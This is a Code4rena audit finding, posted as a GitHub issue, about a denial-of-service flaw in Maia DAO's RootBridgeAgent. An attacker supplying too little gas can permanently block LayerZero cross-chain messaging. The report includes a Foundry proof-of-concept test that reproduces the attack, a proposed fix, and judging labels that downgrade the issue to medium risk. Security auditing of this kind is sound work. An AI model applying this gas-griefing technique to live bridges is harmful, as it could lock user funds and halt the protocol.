Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Attacker can block LayerZero channel on the root chain due to execution outside of try/catch #721

Closed
c4-submissions opened this issue Oct 6, 2023 · 4 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-399 satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L430

Vulnerability details

Impact

This is an issue that results in pathway blocking on the RootChain and disabling any cross-chain communication between Branches and RootChain.
The consequence of this is that anyone can with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable and locking user funds.

Proof of Concept

The root core of this issue is that lzReceive has additional logic outside the try/catch block.
The objective of the attacker is to cause an "out of gas" error inside the lzReceiveNonBlocking.
As lzReceiveNonBlocking is an external call, according to EIP-150 63/64 amount of gas is forwarded to this external call and the rest is left for the rest of the execution.
The 1/64 gas leftover needs to be less than the gas needed for executing the logic inside the if(!success) block.

There are several ways of achieving "out of gas" error inside the lzReceiveNonBlocking:

  1. In case the Router is a MulticallRouter or allows any sort of arbitrary data execution the attack can just drain the gas in that external call. Since the system allows deploying your own RootBridgeAgent with any kind of router this is easy to set up.
  2. On the sending side there is no check for the amount of gas passed to the receiving chain, so the attacker can send a perfectly functioning transaction to the RootBridgeAgent deployed by Maia DAO but with a smaller amount of gas.
    As a consequence, the transaction will revert somewhere during the lzReceiveNonBlocking function execution.

I've set up a POC that demonstrates the second scenario. You can place the POC inside the RootTest.t.sol and run it with forge test --mt testBlockingPathwayOnRootChain -vvvv --watch to see the stack trace and the revert due to "out of gas error".

  1. On the sending side the attacker calls the callOutAndBridgeMultiple function.
  2. This is received on the RootChain and the lzReceive function is invoked with the specified gasLimit.
  3. 63/64 of the gas is forwarded to the lzReceiveNonBlocking and the rest is left for the rest of the execution.
  4. Since 25k gas is not enough to finish the whole execution it reverts due to "out of gas" error and returns success as false.
  5. 1/64 gas remaning is not enough to execute the logic inside the if(!success) block and it reverts again.
  6. This time the revert is caught inside the lzEndpoint catch block resulting in StoredPayload and blocking the pathway.
    function testBlockingPathwayOnRootChain() public {
        // Sending side
        address[] memory _hTokens = new address[](1);
        address[] memory _tokens = new address[](1);
        uint256[] memory _amounts = new uint256[](1);
        uint256[] memory _deposits = new uint256[](1);

        _hTokens[0] = address(avaxMockAssethToken);
        _tokens[0] = address(avaxMockAssetToken);
        _amounts[0] = 1;
        _deposits[0] = 1;

        uint256 gasLimit = 25_000;

        DepositMultipleInput memory dParams = DepositMultipleInput(_hTokens, _tokens, _amounts, _deposits);
        address attacker = address(0x123);

        hevm.startPrank(attacker);
        hevm.deal(address(this), 1 ether);

        avaxMockAssetToken.mint(attacker, 1 ether);
        avaxMockAssetToken.approve(address(avaxPort), 1 ether);

        avaxCoreBridgeAgent.callOutAndBridgeMultiple(
            payable(address(this)), "", dParams, GasParams(gasLimit, 0)
        );

        // Receiving side
        bytes memory payload = abi.encodePacked(
            bytes1(0x03), uint8(_hTokens.length), uint32(50), _hTokens, _tokens, _amounts, _deposits, ""
        );
        hevm.startPrank(lzEndpointAddress);
        coreBridgeAgent.lzReceive{gas: gasLimit}(
            avaxChainId, abi.encodePacked(address(coreBridgeAgent), address(avaxCoreBridgeAgent)), 10, payload
        );
    }

Tools Used

  • Manual review
  • Foundry

Recommended Mitigation Steps

You should estimate the maximum amount of gas needed to execute the logic inside the [if(!success) block].
The remaining gas after the first external call should always be above that value. Also, this assumes that on the sending side this minimum gas is higher or equal to GAS_ALLOCATION.

    uint256 constant GAS_ALLOCATION = 2_000;     

    function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
        uint256 allocatedGas = gasleft() > GAS_ALLOCATION ? gasleft() - GAS_ALLOCATION : 0;
        (bool success,) = address(this).excessivelySafeCall(
            allocatedGas,
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload)
        );
        if (!success) {
            if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure();
        }
    }

Assessed type

DoS

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Oct 6, 2023
c4-submissions added a commit that referenced this issue Oct 6, 2023
@c4-pre-sort
Copy link

0xA5DF marked the issue as duplicate of #785

@c4-pre-sort c4-pre-sort added duplicate-785 sufficient quality report This report is of sufficient quality labels Oct 11, 2023
@c4-pre-sort
Copy link

0xA5DF marked the issue as sufficient quality report

@c4-judge c4-judge added duplicate-399 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed duplicate-785 3 (High Risk) Assets can be stolen/lost/compromised directly labels Oct 22, 2023
@c4-judge
Copy link
Contributor

alcueca changed the severity to 2 (Med Risk)

@c4-judge
Copy link
Contributor

alcueca marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Oct 22, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-399 satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

3 participants